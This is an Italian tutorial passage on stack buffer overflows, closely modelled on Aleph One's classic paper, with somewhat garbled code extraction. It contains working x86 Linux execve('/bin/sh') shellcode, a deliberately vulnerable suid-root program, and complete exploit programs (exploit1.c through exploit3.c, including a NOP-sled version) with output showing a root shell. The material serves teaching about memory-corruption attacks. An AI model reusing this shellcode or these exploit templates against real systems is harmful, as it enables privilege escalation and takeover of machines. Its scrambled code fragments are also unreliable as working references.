unsigned long diff; char *buffer1 = (char *) malloc(16); char *buffer2 = (char *) malloc(16); diff = (unsigned long) buffer2 - (unsigned long) buffer1; printf("ADDR buffer1 = %p, ADDR buffer2 = %p, diff = 0x%x bytes\n", buffer1, buffer2, diff), memset(buffer2, 'A', 15); buffer2[15] = '\0'; printf("Prima del buffer overflow: buffer2 = %s\n", buffer2); memset(buffer1, 'B', (unsigned int)(diff + 8)); printf("Dopo del buffer overflow: buffer2 = %s\n", buffer2); } Cosa abbiamo fatto ? Abbiamo dichiarato due puntatori ovvero due spazi sufficienti a contenere un indirizzo. Questo indirizzo stato assegnato con quello relativo a due zone di memoria allocate con la funzione per lallocazione dinamica MALLOC(). A questo punto buffer1 contiene lindirizzo della prima zona di memoria allocata mentre buffer2 quello del secondo. Diff a questo punto viene assegnato calcolando la differenza tra lindirizzo del secondo buffer meno quello del primo. In buffer2 mettiamo tutte A mediante la memset. Ora nel buffer1 assegniamo pi valori B di quanti essa possa contenere (la sua dimensione + 8 bytes). In questo modo il programma ci mostra gli effetti dello sconfinamento, ovvero delloverflow, eseguito. Loutput a video : c:\Temp>buffer ADDR buffer1 = 00321F80, ADDR buffer2 = 00321F98, diff = 0x18 bytes Prima del buffer overflow: buffer2 = AAAAAAAAAAAAAAA Dopo del buffer overflow: buffer2 = BBBBBBBBAAAAAAA c:\Temp> Esistono molti punti anche legati a DLL di sistema che possiedono degli indirizzi che possono creare problemi come ad esempio : Dentro a SHELL32.DLL v 4.72.3110.6 @7FCE2373 In MSIEFTP.DLL v 5.00.2014.209 @71211EE9 @71215C92
Qualche anno fa la EEYE, la casa che ha scritto RETINA, bombard IIS con dei dati in qualsiasi posto questo potesse accettare un input. Quello che cervano di ottenere era il crash di questo e di fatto trovarono un punto nel quale IIS si blocc lasciando dentro ai registri i seguenti valori.
ECX EIP
= 41414141 = 41414141
EDX ESP
= 77F9485A = 00F4106C
La cosa interessante era legata al registro EIP (linstruction pointer) uguale a 0x41414141 in quanto la sringa che loro avevano usato per bombardare il programma era di fatto una lunghissima sequenza di 0x41. Questo significava che parte del valore inserito nel buffer era andato a sovrascrivere una valore di ritorno per cui era stato ripristinato dentro al registro EIP. Quando un hacker mediante un analisi dei programmi con disassemblatori riesce a trovare una funzione vulnerabile, deve anche guardare bene come la funzione prende linput dal mondo esterno. Gli strumenti per questo tipo di analisi rimangono in primis i disassemblatori ma di fatto anche i debuggers possono essere usati. Alla fine di questo capitolo vedremo anche le metodologie di programmazione che possono salvare dai buffer overflow. Come abbiamo gi visto durante la trattazione del linguaggio, il C non tratta come oggetti quelle che altri linguaggi definiscono con il termine di STRINGHE. Questo significa che sequenze di caratteri vengono viste dal C come se fossero degli arrays di tipi semplici. In altre parole la stringa FLAVIO viene vista come una sequenza di 7 caratteri (6 di lunghezza + 1 NULL di fine stringa). Nellesempio precedente abbiamo visto cosa capita se un valore da una zona di memoria sconfina in un'altra zone relativa a qualche altro oggetto. Ma se questo punto fossimo andati a soprascrivere una zona con allinterno del codice, che cosa sarebbe capitato ? Parlando dellassembler abbiamo visto come di fatto i nostri programmi possono essere visti come sequenze di CODICI OPERATIVI (OPCODE) ciascuno dei quali corrispondono ad un codice di un istruzione assembler relativa al processore. Facciamo un altro esempio. Pendiamo un piccolissimo programma in assembler che svolga qualche funzione. Esiste nel sistema operativo una zona del BIOS che richiamandola, dopo avere settato 1234 nel registro AX, permette di fare il BOOT della macchina. Il seguente programma esegue il reboot del sistema. STI XOR MOV MOV MOV MOV JMP BX,BX DS,BX BX,0472 AX,1234 [BX],AX FFFF:0000
Ora compiliamo il programma con il compilatore Visual C con il flag che permette di creare il sorgente in assembler. Cl Faprova.asm prova.c Andiamo a vedere la traduzione in assembler e ricopiamo i codici operativi in esadecimale di quel codice. 0xFB,0x31,0xDB,0x8E,0xDB,0xBB,0x72,0x04,0xB8, 0x34,0x12,0x89,0x07,0xEA,0x00,0x00,0xFF,0xFF A questo punto facciam0o una prova molto semplice.
Questo significa che se noi da qualche parte riuscissimo a mettere in memoria i codici operativi di qualche funzionalit questa potrebbe essere tranquillamente eseguita.
unsigned char far array[] = { /* ---- [CODICE DI BOOT.COM] ---0xFB,0x31,0xDB, /* FB STI 0x8E,0xDB,0xBB, /* 31DB XOR BX,BX 0x72,0x04,0xB8, /* 8EDB MOV DS,BX 0x34,0x12,0x89, /* BB7204 MOV BX,0472 0x07,0xEA,0x00, /* B83412 MOV AX,1234 0x00,0xFF,0xFF /* 8907 MOV [BX],AX /* EA0000FFFF JMP FFFF:0000 /* ------------------------------}; void { } Ma come ho gi detto prima, a noi luso dei buffers overflow al fine di interrompere bruscamente un programma non ci interessa in quanto la cosa interessante invece quella legata allesecuzione di codice aggiuntivo il quale potrebbe essere relativo a qualche chiamata a procedure esterne come lattivazione di shell o cose di questo tipo. Per fare questo si deve conoscere bene la struttura dei programmi e in particolare luso dello STACK. Per capire bene questo meccanismo, come abbiamo detto prima, si deve conoscere bene come un processo organizzato in memoria. I processi sono suddivisi in tre regioni e precisamente nel segmento di TEXT o codice, in quello di DATA o dei dati ed infine nel segmento di STACK. La seguente immagine mostra i segmenti visti con un analizzatore di PE di programma. main(void) void (far *funct)() = (void(far *)()) array; (*funct)();
*/ */ */ */ */ */ */ */ */
Parte bassa memoria Codice (TEXT) Dati inizializzati Dati non inizializzati Stack
Il concetto fondamentale comunque rimane quello dello stack il quale, volendo ripetere al definizione, uno dei concetti fondamentali dellinformatica. Teoricamente un tipo doggetto utilizzato per memorizzare dei valori in cui lultimo valore inserito sar il primo ad uscire. Nel capitolo legato allassembler lo abbiamo paragonato allo spunzone delle consumazioni del barista nel quale il primo biglietto a essere inserito sar anche lultimo ad essere estratto. Il termine per definire questo tipo di gestione LIFO ovvero LAST INPUT FIRST OUTPUT. In termine di programmi invece lo stack un segmento utilizzato per la memorizzazione delle variabili locali e per il contenimento dei valori di ritorno legati alle chiamate delle funzioni. Quando una funzione viene chiamata il valore dellindirizzo di dove questa avvenuta viene inserita nello stack e successivamente il registro EIP viene aggiornato con lindirizzo di dove il programma deve saltare. Successivamente quando la funzione viene terminata il valore viene prelevato dallo stack e viene ripristinato. Le istruzioni assembler che permettono di inserire ed estrarre valori dallo stack sono PUSH e POP. I computer moderni sono concepiti tenendo a mente i linguaggi di programmazione ad alto livello, al contrario dei sistemi di molti anni fa che avevano lassembler come linguaggio fondamentale. Questi tipi di linguaggi contemplano nei concetti di procedura o funzione le strutture fondamentali per le loro gestioni. Come abbiamo appena detto la gestione dei flussi desecuzione quando esistono chiamate a funzioni pretendono che i valori di ritorno dopo le chiamate vengano memorizzati da qualche parte. Lo stack abbiamo appunto detto che la zona di memoria ideale per tali gestioni. Lo stack fisicamente deve essere concepito come un blocco di memoria in cui i bytes sono consecutivi. Allinterno del processore esistono due registri il cuoi scopo appunto quello legato al corretto funzionamento dello stack. Ogni volta che avviene una chiamata ad una funzione lindirizzo di ritorno viene PUSH-ato nello stack mentre tutte le volte che si presenta un istruzione di RET-urn da una di queste il valore viene POP-ato. Il registro SP generalmente punta allultimo indirizzo dello stack e pi precisamente sul primo bytes libero dopo di questo. Il seguente programmino server a stampare sp semplicemente copiandolo dentro al registro EAX allinterno della funzione sp().
Alcuni tipi di processori oltre a possedere questo registro considerano conveniente possedere un FRAME POINTER (FP) utilizzato per puntare ad una locazione fissa allinterno di un frame. La prima cosa che una procedura deve fare quando viene chiamata salvare il valore del precedente FP e quindi salvare dentro a questo il valore di SP in modo da creare un nuovo FRAME POINTER e quindi salvare SP in modo di riservare spazio per le variabili locali. Questo codice definito con il termine di PROCEDURE PROLOG. Quando una procedura termina o esce lo stack deve essere pulito nuovamente tramite un altro codice chiamato PROCEDURE EPILOG. Nel caso dei processori INTEL questo viene fatto dalle istruzioni assembler ENTER e LEAVE mentre nei processori MOTOROLA da quelle LINK e UNLINK. Creiamo il seguente programma : void { } void main(void) { funzione(int a, int b, int c) char buffer1[5]; char buffer2[10];
Compiliamo ora sotto Linux con : gcc S o nome_esempio..s nome_esempio.c Andando a vedere con gdb , il debugger, la traslazione fatta in assembler ci troveremo davanti a : pushl pushl pushl call $3 $2 $1 funzione
Come potete vedere i tre PUSH inseriscono nello stack i parametri passati alla funzione chiamata nella linea successiva la quale, quando ricever il controllo, estrarr i tre vaolori dallo stack e li user nella sua procedura.
Questa funzionalit viene eseguita dal seguente prologo della procedura : pushl %ebp movl %esp, %ebp subl $20, %esp Quseto prologo inserisce nello stack il frame pointer, quindi copia il contenuto del registro SP allinterno di EBP, facendolo diventare il nuovo frame pointer. Listruzione che sottrae 20 (x14) a ESP relativa al fatto di riservare spazio per le variabili locali ovvero quelle relative ai due buffer. Ricordiamoci che la memoria pu essere indirizzata usando multipli della dimensione di una WORD. Una WORD nel nostro caso 32 bits ovvero 4 BYTES. Questo significa che lallocazione richiesta per il buffer con dimensione 5 (buffer1[5]) occuper di fatto 8 BYTES (2 WORDS) mentre il secondo buffer di 10 elementi (buffer2[10]) ne occuper in verit 12 BYTES (3 WORDS). Questa la motivazione del perch del 20 come dimensione sottratta a SP. Tenendo in mente questo ecco a cosa sembrer il nostro STACK quando la funzione verr chiamata. Parte bassa della cima della memoria
memoria buffer2 <------[ ] [ cima della parte bassa dello stack buffer1 ] sfp [ ret a ] [ ][ b ][ ][ c ]
stack Un buffer overflow avviene quando in una zona di memoria viene memorizzati pi dati di quanti questa potrebbe contenere. Come possibile sfruttare questi errori di programmazione per fare eseguire del codice arbitrario ? Vediamo un altro esempio scritto in C. void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++)
Come saprete la funzione strcpy() copia senza controllare fino a quando viene trovato il carattere NULL di fine stringa. Come abbiamo gi detto il buffer di destinazione circa 250 bytes pi piccola della sorgente e questo significa che questo numero di bytes dopo lo spazio del buffer verranno sovrascritti. Come potete vedere dallo schema tra i valori su cui si va a scrivere ce anche il valore di ritorno (ret) dopo la chiamata alla funzione. Dato che il buffer di partenza contiene delle lettere A uguali al numero esadecimale 0x41 significa che il valore di ritorno della funzione dopo il buffer overflow varr 0x41414141 Questo indirizzo al di fuori dello spazio del programma ed per questo motivo che quando il programma ritorner e cercher di leggere la successiva istruzione da eseguire avrete come segnalazione un segmentation violation. In ogni caso lesempio ci mostra come potremmo cambiare volontariamente lindirizzo di ritorno di una funzione indirizzando il tutto a qualche parte di codice nostro. Ora facciamo la prova per provare quanto detto. Rivediamo ora come lo stack vedeva la memoria del nostro primo esempio e come di fatto possibile fare in modo che il programma esegua del codice arbitrariamente. buffer2 buffer1 sfp ret a b c
Prima di buffer1 c il valore sfp mentre il valore di ritorno e appunto subito prima di questo. In altre parole questultimo 4 bytes dopo il buffer1. Ricordiamoci che buffer1 di fatto 8 bytes e non 5 e quindi lindirizzo di ritorno dopo 12 BYTES dallinizio di buffer1. Ora scriveremo una funzione come segue : void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x);
[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ] FATE ATTENZIONE : Il metodo di inserire dei NOP essenziale in quanto come vedremo, identificare lindirizzo di dove fare eseguire il tutto complesso. Luso dei NOP server a semplificare il tutto. Le tecniche di buffer overflow in ogni caso non cambiano solo il flusso ma aggiungono anche del codice espresso come codici operativi esadecimali. Sempre al fine di semplificare lesempio rimaniamo sempre in ambiente Linux dove per attivare una shell da un programma in linguaggio c sufficiente chiamare un istruzione execve() passandogli come argomento la stringa /bin/sh. In altre parole un programma in linguaggio C adatto ad aprire una shell potrebbe essere il seguente: #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } Vi consiglio in ogni caso di andare a vedere : http://www.hack.co.za/shellcode/linux-x86/execve_binsh.c Un esempio in assembler molto corto : mov ecx,esp xor eax,eax push eax lea ebx,[esp-7] add esp,12 push eax push ebx mov edx,ecx mov al,11 int 0x80 Vedre,mo successivamente che spesso a causa delle microscopiche dimensioni dei buffer pi piccolo il programma di shell meglio . In ogni caso uno shell code visto in esadecimale potrebbe essere quello che segue: char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x$ "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\x$ "\x80\xe8\xde\xff\xff\xff/bin/sh"; Compilando il codice precedente e guardando I codici operativi relativi alla parte da inserire in memoria avremmo la seguente visione dello stack considerando anche il fatto di assumere che questo parta da 0xFF e che la lettera S rappresenti appunto il codice:
bottom of memory <-----top of stack DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF buffer sfp ret a b c [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of memory
bottom of stack
La compilazione del programmino deve essere eseguita mediante il flag static in modo da poter usare il debugger gdb per poter vedere il codice disassemblato. $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode Il programma utilizza la funzione di libreria execve e dato che stiamo usando delle librerie dinamiche questa non viene piazzata direttamente allinterno del nostro programma. La compilazione mediante la specifica static quello che fa per noi. Disassemblando con gdb ritroviamo il seguente programma in assembler : 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. La parte costituita da 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp
A questo punto copiano il valore 0x0 (NULL) dentro al secondo puntatore di name[] il che sarebbe uguale a : name[1] = NULL; La chiamata a execve() inizia qui. 0x8000144 <main+20>: pushl $0x0 A questo punto iniziamo ad eseguire il push degli argomenti nello stack in ordine inverso. Partiamo con il NULL. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
Ora leggiamo lindirizzo di name[] dentro al registro EAX. 0x8000149 <main+25>: pushl %eax
Eseguiamo il push dellindirizzo di name[] nello stack. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
Leggiamo lindirizzo della stringa "/bin/sh" nel registro EAX. 0x800014d <main+29>: pushl %eax
Ora inseriamo nello stack lindirizzo della stringa "/bin/sh".. 0x800014e <main+30>: call 0x80002bc <__execve>
Chiamiamo la funzione execve(). Ricordiamoci che la chiamata ad una funzione fa si che il sistema memorizzi nello stack il valore di IP. Ricordiamoci che siamo in un ambiente Linux su piattaforma Intel per cui i dettagli della syscall varia da OS a OS, e da CPU a CPU. Alcune passano gli argomenti nello stack mentre altri nel registro. Lo stack inizia per ogni programma allo stesso indirizzo. Aluni usano un interrupt software per saltare nella modalit kernel mentre altri usano una call far. Linux passa I suoi argomenti alla chiamata di sistema attraverso il registro ed utilizza un interrupt software per saltare nella modalit kernel. Il discorso labbiamo fatto nei capitoli in cui parlavamo della programmazione in questo ambiente a cui vi rimando per chiarirvi le idee rispetto alle syscall.
verr passato tramite il registro %eax 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Il preludio dela procedura : 0x80002c0 <__execve+4>: movl $0xb,%eax Copiamo 0xb (11 decimale) nello stack. Questo lindice allinterno della tabella delle syscall o chiamate di sistema di cui appunto la execve la numero 11. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copiamo lindirizzo di "/bin/sh" in EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
Copiamo lindirizzo del null pointer in %edx. 0x80002ce <__execve+18>: int $0x80
A questo punto ci troviamo di fronte ad un grosso problema. Partiamo dal presupposto che noi questi buffer overflow quasi sicuramente li dovremo inserire da qualche parte dove il programma che intendiamo colpire gestisce linput tramite qualche stringa del Linguaggio C. Il carattere \0 o 0 viene considerato dal linguaggio come carattere di fine stringa per cui allinterno della stringa che passeremo al software non dovranno esserci degli 0 se no il resto del buffer non verr processato. Ma dopo questa parentesi cosa ci troviamo davanti ? Diamo un attimo un occhiata agli OPCODE dellistruzione movl $0xb,%eax. 0x80002c0 b8 0b 00 00 00 movl $0xb,%eax
potremmo risolvere il problema usando la seguente metodologia : xorl %eax, %eax movb $0x0b, %al Cosa abbiamo fatto ? Semplicemente abbiamo ripulito EAX e assegnato solo la parte bassa. Ora cambiamo la modalit del kernel mediante la chiamata a int 0x80. La funzione execve chiama int 0x80 utilizzando i registri per il passaggio degli argomenti usando il metodo classico degli interrupts.
Ma cosa capita se la chiamata a execve() fallisce per qualche ragione? Il programma continua andando a prendere le istruzioni dallo stack, il quale potrebbe contenere dei dati random. Il programma probabilmente eseguir un core dump. Noi per vorremmo che il programma esca in modo pulito se la chiamata a execve falisse.. Per fare questo dovremo aggiungere una syscall exit dopo a chiamata di sistema execve Che cosa farebbe una exit in questo caso ?
exit.c #include <stdlib.h> void main() { exit(0); } [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump.
La chiamata di sistema exit mette 0x1 in EAX, mette il codice duscita EBX, ed esegue una chiamata a "int 0x80". Molte applicazioni ritornano 0 in uscita per dire che non ci sono stati errori. Mettiamo 0 in EBX. La nosra lista di operazioni da eseguire sono ora : Avere una stringa terminata con NULL "/bin/sh" da qualche parte in memoria. Avere lindirizzo della stringa "/bin/sh" da qualche parte in memoria seguito da una long word con null. Copiare 0xb in EAX.
[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) cima dello dello stack
base stack
Il tutto visto in assembler jmp popl movl movb movl movl movl leal offset-to-call # %esi # %esi,array-offset(%esi) # $0x0,nullbyteoffset(%esi)# $0x0,null-offset(%esi) # $0xb,%eax # %esi,%ebx # array-offset,(%esi),%ecx # 2 1 3 4 7 5 2 3 bytes ------------\ byte <----\ | bytes | | bytes | | bytes | (2) | bytes | | bytes | | (1) bytes | |
Calcolando tutti gli offset in base alla lunghezza delle istruzioni, abbiamo: jmp 0x26 popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2b .string \"/bin/sh\" # # # # # # # # # # # # # # # 2 1 3 4 7 5 2 3 3 2 5 5 2 5 8 bytes byte bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes
Il nostro codice modifica se stesso, ma la regione TEXT (in cui si trova il codice) e' marcata READ-ONLY da quasi tutti i sistemi operativi. Per risolvere il problema possiamo inserire tutte le istruzioni allinterno di un array che viene posizionato nel segmento DATA. Come nellesempio in cui avevo mostrato lesecuzione del codice inserito dentro ad un array dinteri, allinizio di questo capitolo, anche in questo caso avremo la necessit di trovare gli OPCODE per eseguire lassegnazione dellarray. Prima scriviamoli in assembler dentro ad un programma in C e poi usiamo GDB per vederli : shellcodeasm.c ---------- snip ---------void main() { __asm__(" jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2f .string \"/bin/sh\" "); } ---------- snip ---------Ed ecco il debugging: $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
# # # # # # # # # # # # # # #
3 1 3 4 7 5 2 3 3 2 5 5 2 5 8
bytes byte bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes
*/
$ gcc -o testsc testsc.c $ ./testsc $ exit $ A questo punto sostituiamo le istruzioni che corrispondono a 0, per il problema di cui abbiamo discusso prima, con altre che non costituiscano un problema:
Istruzione da cambiare: Sostituire con: -------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------movl $0xb,%eax movb $0xb,%al -------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax
A questo punto il codice diventato: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Il sistema di buffer overflow permette di creare una shell con diritti di root in quanto applicati a dei programmi che vengono eseguiti con diritti di root. -rwsr-xr-x 1 root root 30520 May 5 1998 vulnerable
Il flag S allinterno dei flags delle permissions indica che il file pu essere eseguito da chiuqnue ma con diritti dei proprietari dei files, in questo caso root. Questo e' a volte necessario ad alcuni programmi per aggiornare file di sistema scrivibili solo da root o per accedere, ad esempio, alla mailbox dell'utente. Per questo quando exploitiamo un file suid root, la shell che esso esegue e' di root. A questo punto creiamo appositamente un programma vulnerabile ad un overflow e vediamo di riuscire a creare un exploit. Chiaramente un programma creato apposta per essere explotato facilita la vita cosa che con un altro software in cui non sappiamo dove va a finire il codice la questione sicuramente pi complessa.
exploit1.c ---------- snip ---------char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /* riempiamo completamente il nostro buffer (large_string) con l'indirizzo /* il buffer */
$ gcc -o exploit1 exploit1.c $ ./exploit1 $ exit $ Le cose nella realt sono pi complesse in quanto con un altro programma non sappiamo dove il buffer si trova in memoria. Il fatto dindovinare dove si trova il buffer pu essere facilitato da alcuni metodi comunque in ogni caso va sempre a fortuna a meno che non facciamo come abbiamo visto nei capitoli in cui parlavamo dei programmi usati dai crackers e disassembliamo i programmi a casa nostra. Come abbiamo detto prima sappiamo che tutti i programmi possiedono lo stack che inizia sempre allo stesso indirizzo. Ora scriviamo un piccolo programmino vulnerabile, rendiamolo suid root, e tentiamo di exploitarlo: vulnerable.c ---------- snip ---------void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); /* guarda dove scrivi, cazzone! :) */ } ---------- snip ---------exploit2.c ---------- snip ---------#include <stdlib.h> #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE 0 512
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n");
printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; */ for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* copia lo shellcode nel nostro buffer */ buff[bsize - 1] = '\0'; */ putenv(buff); */ system("/bin/bash"); /* vulnerabile } ---------- snip ---------*/ /* che useremo poi come argomento al programma /* per bloccare la copia da parte di strcpy */ /* riempie il nostro buffer con quell'indirizzo
Il programma accetta come argomento loffset a cui pensiamo si possa trovare il buffer. Mediante diversi tentivi vediamo di trovare dove si trova. $ ./exploit2 500 Using address: 0xbffffdb4 $ ./vulnerable $EGG Segmentation Fault $ ./exploit2 600 Using address: 0xbffffdb4 $ ./vulnerable $EGG Illegal instruction ........................ $ ./exploit2 600 1564 Using address: 0xbffff794 $ ./vulnerable $EGG # Questo non e' un processo molto efficiente....sculando un po' si potrebbe azzeccare l'offset con 200 tentativi, ma nella maggior parte dei casi ce ne vorranno un migliaio. Possiamo per cercare di limitare i tentivi utilizzando listruzione assembler NOP. Come abbiamo gi visto nei capitoli legati allassembler questa istruzione considerata come istruzione NULLA ovvero quando il processore la incontra passa a quella successiva sennza fare nulla. Ora se noi riempiamo il nostro buffer di questi NOP significa che se lindirizzo di ritorno cadr su una di queste istruzioni questa non verr eseguita e il tutto passer avanti. buffer fp ret a b c [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^----> | |_____________________| Ecco un nuovo exploit che utilizza questa tecnica: exploit3.c ---------- snip ---------#include <stdlib.h>
0 512 0x90
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } oid main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) con NOP */ buff[i] = NOP; /* riempie meta' del nostro buffer
ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* e l'altra meta' con lo shellcode... */ buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash");
} ---------- snip ---------$ ./exploit3 612 Using address: 0xbffffdb4 $ ./vulnerable $EGG # Come avrete potuto vedere in questo caso si azzeccato il tutto al primo tentativo. In ogni caso i problemi non sono del tutto terminati. Potremmo trovarci davanti al problema di avere a disposizione uno spazio troppo piccolo per inserirci una quantit di codice eccessiva.
